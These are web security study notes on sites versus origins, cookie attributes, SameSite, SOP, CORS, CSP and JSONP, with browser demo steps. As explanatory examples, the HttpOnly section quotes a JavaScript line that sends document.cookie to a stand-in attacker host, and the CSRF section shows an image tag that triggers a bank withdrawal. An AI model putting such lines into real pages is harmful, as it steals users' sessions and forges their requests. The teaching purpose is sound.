Web Fundamentals Notes

Definitions

Domain vs Subdomain

A subdomain is part of a larger domain

Examples

In sub.main.org , sub is the subdomain of main.org

In main.org, main is a subdomain of the org TLD (top level domain)

Site

Site is determined by the registrable domain of the host within the Origin

Defined by Public Suffix list

Subdomains of the same site are considered the same site

Protocol and Port are not relevant

Examples of Same Site

https://dev.main.org/en-US/docs/

https://about.main.org/en-US/

The registrable domain here is main.org

www.web.dev

static.web.dev

The registrable domain here is web.dev

http://example.com:8080

https://example.com

The registrable domain here is example.com

Examples of Different Site

https://main.org

https://cool.com

There is no common registrable domain here

Origin

Resource defined by 3 components of the URL:

  • Scheme (protocol)
  • Host (domain)
  • Port

https://example.com:8080/about

Two resources have the same origin if all 3 components match.

Examples of Same Origin

  • http://example.com/app1
  • http://example.com/app2
  • http://example.com:80
  • http://example.com

Protocol, Host, and Port are the same for all above URLs

Examples of Different Origin

  • http://example.com/app1
  • https://example.com/app2

Protocols are different

  • http://example.com
  • http://www.example.com
  • http://myapp.example.com

Hosts are different

  • http://example.com
  • http://www.example.com:8080

Ports are different

Cookie Access Behavior

Cookies work on the concept of Sites and domains, NOT Origins

Cookies do NOT obey the SOP (Same Origin Policy), they were created before SOP

Domain, HostOnly, Path attributes define the scope of a cookie

Domain attribute

Define which hosts are allowed to receive cookie

If unspecified, default to same origin that set the cookie, excluding subdomains (sets HostOnly attribute to true)

If specified, subdomains are ALWAYS included (sets HostOnly attribute to False)

Examples

If cookie set by main.org has Domain unspecfied, cookie CANNOT be accessed by sub.main.org subdomain (HostOnly will be set to true)

If cookie set by main.org has Domain=main.org, cookie can be accessed by sub.main.org subdomain (HostOnly will be set to false)

Path attribute

Indicates a URL path that must exist in the requested URL in order to send the Cookie

Never rely on it, set to root "/"

Examples

If Path=/docs, cookie will be sent on:

  • /docs
  • /docs/about
  • /docs/about/what

Cookies can only be accessed by equal or more specific domains

Examples

sub.main.org cookies CANNOT be accessed by main.org domain because main.org is less specific

If main.org cookies have Domain=main.org, sub.main.org can access them because sub.main.org is more specific

If main.org cookies have Domain unspecified, sub.main.org subdomain CANNOT access them and will only be available to main.org domain

All accessible cookies by a URL will be sent on every request to a URL

Examples

If you have 5 cookies for main.org and you navigate to main.org, you will send those 5 cookies in the request. If you then click on a link to go to main.org/about, you will send those 5 cookies again. If you then click on a link to go to main.org/shopping, you will send those 5 cookies again.

SameSite attribute

Lets servers require that a cookie NOT be sent with cross-site requests

Remember a Site only cares about the domains (http://example.com:8080 and https://example.com are considered the same Site)

Helps mitigate CSRF (cross-site request forgery attacks)

3 possible values:

  • Strict

    Sent only in first party context (like navigating within current domain)

  • Lax

    Same as Strict, but allows cookie to be sent if user navigates to URL from external site (by clicking on a link for example)

  • None

    No restrictions on cross-origin requests

Examples

If SameSite=Strict and user following a link from another site/email, cookie is NOT sent

  1. Go to this site to set SameSite=Strict cookie
  2. Follow this link from the same website and see that the cookie is NOT sent in the header
  3. In the new tab you just opened, go to the URL bar and hit enter to see that the cookie IS now sent in a first party context (navigating within the same domain)

If SameSite=Strict and picture is being requested on another site, cookie is NOT sent

Picture of dog below:

dog
  1. Open up the Network Tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.

If SameSite=Lax and user following a link from another site/email, cookie IS sent

  1. Go to this site to set SameSite=Lax cookie
  2. Follow this link from the same website and see that cookie IS sent in the header

If SameSite=Lax and picture is being requested on another site, cookie is NOT sent

  1. Open up the Network Tab,refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie is NOT sent in the headers for this request.

If SameSite=None and picture is being requested on another site, cookie IS sent

  1. Go to this site to set SameSite=None cookie
  2. Open up the Network tab, refresh this page, and view the Network request for the dog.jpeg image resource. You will see the cookie IS sent in the headers for this request.

Examples of CSRF prevented by Samesite

Attacker includes image on forum that is really a request to your bank's server

<img src='https://bank.example.com/withdraw?from=bob'>

Attacker includes form on their attack page being submitted to your bank on page on load

Impact on Trackers due to SameSite

A Tracking Pixel is a common implementation

Tracking Pixel can contain many embedded resources (image or inline scripts usually) from a different website

script text="text/javascript" function that may load a third party script or use methods from a previously loaded third party script

<img height=1 width=1 border=0 style='display:none;'' src='//tracking.website.com/trackpath?track_param=1000'>

Cookies set by Tracking Site would NO LONGER be sent with third party network requests unless SameSite=None

Secure Attribute

Cookie only sent over HTTPS protocol

Helps mitigate MITM (man-in-the-middle) attacks

Should not be relied upon and sensitive data should not be stored in cookies

Examples

Cookie with Secure attribute will NOT be SENT to HTTP origin

  1. Go to this HTTPS site to set a Secure cookie
  2. Follow this HTTPS link from this website and see that cookie IS sent in the header
  3. Follow this HTTP link from this website and see that cookie is NOT sent in the header

Cookie with Secure attribute CANNOT be SET by HTTP origin

  1. Go to this site to clear previously set Secure cookie
  2. Go to this HTTP site to try setting a Secure cookie (does not work)
  3. Follow this HTTP link from this website and see that cookie is NOT sent in the header
  4. Follow this HTTPS link from this website and see that cookie is NOT sent in the header

HTTPOnly Attribute

Makes cookie inaccessible to JavaScript Document.cookie API

Helps mitigate XSS (cross-site scripting attacks)

Examples

Cannot access cookie set by JavaScript

  1. Go to this site to set a HttpOnly cookie
  2. Follow this link to verify the HttpOnly cookie was set
  3. Follow this link to view the cookies that are available through JavaScript. Note the HttpOnly cookie is NOT present

Example of XSS prevented by HTTPOnly

Malicious code loaded that makes request to attacker's server with the cookie (obtained through JavaScript) as query

(new Image()).src = 'http://www.evil-domain.com/steal-cookie?cookie=' + document.cookie;

SOP (Same Origin Policy) and CORS (Cross-Origin Resource Sharing)

SOP behavior

Security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin

fetch API built obeying SOP

Network request is ALWAYS sent, what is being determined if the response can be READ

Sites CAN:

  • Link to other sites
  • Embed resources form other sites
  • Submit forms to other sites

Sites CANNOT:

  • Modify content from other sites
  • Read data from other sites (meaning put into variable and do something with it)

Cross-Origin embedded resources allowed

  • JavaScript with script src='...'
  • CSS with link rel='stylesheet' href='...'
  • img tags
  • iframes

Ways to relax SOP (non-CORS)

document.domain

Bad Idea

Attacker can set same domain as target domain

Encode data in URL fragment identifiers '#'

Parent can navigate child iframes without following links or refreshing page

Child can poll for changes to fragment identifier

postMessage API

send strings and data cross-origin

Sender must specify origin which is permitted to receive message

Receiver must specify origin which is permitted to send message

CORS behavior

Relaxes SOP

Uses additional HTTP headers to tell browsers to give web app running at one origin access to selected resources from another origin

Credentials such as Cookies are by default NOT sent (specific flag has to be set)

Simple Requests

Use one of the following methods in the request:

  • GET
  • HEAD
  • POST

Allowed Content-Type header

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Limited custom HTTP headers

Server response needs to send back Access-Control-Allow-Origin header that allows requesting domain to use

Examples of CORS

Server not configured with CORS by default
  1. Click the button below to send a fetch request some JSON data from the same origin
  2. You will see a bunch of JSON data displayed above from the same origin resource
  3. Click the button below to send a fetch request for some JSON data from a different origin without CORS enabled
  4. Open up the console and you will see errors related to SOP and the absence of the Access-Control-Allow-Origin header
Server configured with CORS available to all domains
  1. Click the button below to send a fetch request for some JSON data from a different origin with CORS enabled
  2. You will see a bunch of JSON data now appear above. If you open up the Network tab and check the response headers, you will see the Access-Control-Allow-Origin flag set to '*'
Server configured with resource restricted specific domains
  1. Click the button below to send a fetch request for some JSON data from a different origin with CORS restricted to certain domains
  2. Open up the console and you will see errors because the resource is restricted to certain origins

CORS Preflight Requests

Happens if a non-simple method is used for a request

An HTTP request using OPTIONS method is first sent to other domain to determine if real request is safe to send

2 other request headers sent along with OPTIONS request:

  • Access-Control-Request-Method
  • Access-Control-Request-Headers

Server response includes the following headers:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers
  • Access-Control-Max-Age

Example

Preflight Request because of non-simple Content-Type
  1. Click the button below to send a fetch request that requires preflight (uses Content-Type text/json)
  2. Open up the Network tab and view the requests for getJSONCORS. You should see an OPTIONS request followed by a GET request since we were using a non-simple Content-Type.
  3. In the preflight request, notice the following headers:
    • Access-Control-Allow-Origin
    • Access-Control-Request-Method
    • Access-Control-Request-Headers
  4. In the preflight response, notice the following headers:
    • Access-Control-Allow-Origin
    • Access-Control-Allow-Methods
    • Access-Control-Allow-Header
  5. In the actual GET response, notice the Access-Control-Allow-Origin header

CSP (Content Security Policy)

Server response header that limits our site from making requests to other sites

meta tag can also be used to configure a policy

Added XSS security layer

Examples

Page with No CSP configured

  1. Follow this link for a page that shows an embedded image with no CSP configured

Page with CSP configured

  1. Follow this link for a page with CSP implemented as a meta tag, restricting loading of resources to its own origin only. Check the console for CSP related messages

JSONP

If make request to server that is configured to handle JSONP, can pass a special parameter to tell the server about your page so that the server can send back a response your page can handle

fetch API and axios package do NOT support JSONP requests

Can use jQuery or npm packages


        $.ajax({
            type: 'GET',
            url: 'server.com',
            dataType: 'jsonp',
            error: (err) => {
                console.log(err)
            },
            success: (data) => {
                console.log(data)
            }
        })
                        

Examples

JSONP request

  1. Click the button below to send a fetch request to a different origin with CORS not configured
  2. Open up the console and see CORS related errors
  3. Click the button below to send a JSONP request to a different origin with CORS not configured and whose response is NOT JSONP supported
  4. Open up the console and see errors from the JSONP response
  5. Click the button below to send a JSONP request to a different origin with CORS not configured and whose response IS JSONP supported
  6. You should see JSON data appear above from the JSONP response

Web Storage (LocalStorage and SessionStorage)

Web Storage is separated by Origin (page can only access Web Storage data stored in same origin)